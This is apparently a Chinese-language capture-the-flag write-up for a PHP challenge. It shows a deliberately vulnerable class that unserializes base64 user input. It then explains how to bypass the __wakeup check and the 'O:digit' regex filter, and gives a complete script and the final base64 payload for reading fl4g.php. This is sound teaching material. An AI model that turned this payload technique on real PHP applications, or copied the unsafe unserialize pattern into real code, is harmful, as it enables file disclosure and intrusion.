Web_php_unserialize

0x01

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>

0x02 代码分析

一个类

将传入的参数base64解码

正则匹配，绕过

反序列化，绕过__wakeup

当wakeup序列化后的属性值比原值大时，则会跳过wakeup，以此绕过

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$a=new Demo('fl4g.php');
$b=serialize($a);

//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

//绕过wakeup,属性值比原值大
$b=str_replace(":1:", ":2:", $b);

//绕过preg_match，4,变为+4
$b=str_replace("O:4", "O:+4", $b);
var_dump($b);

//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

$b=base64_encode($b);
var_dump($b);

////string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

参考链接：

https://blog.csdn.net/qq_40884727/article/details/101162105

https://www.cnblogs.com/gaonuoqi/p/11896281.html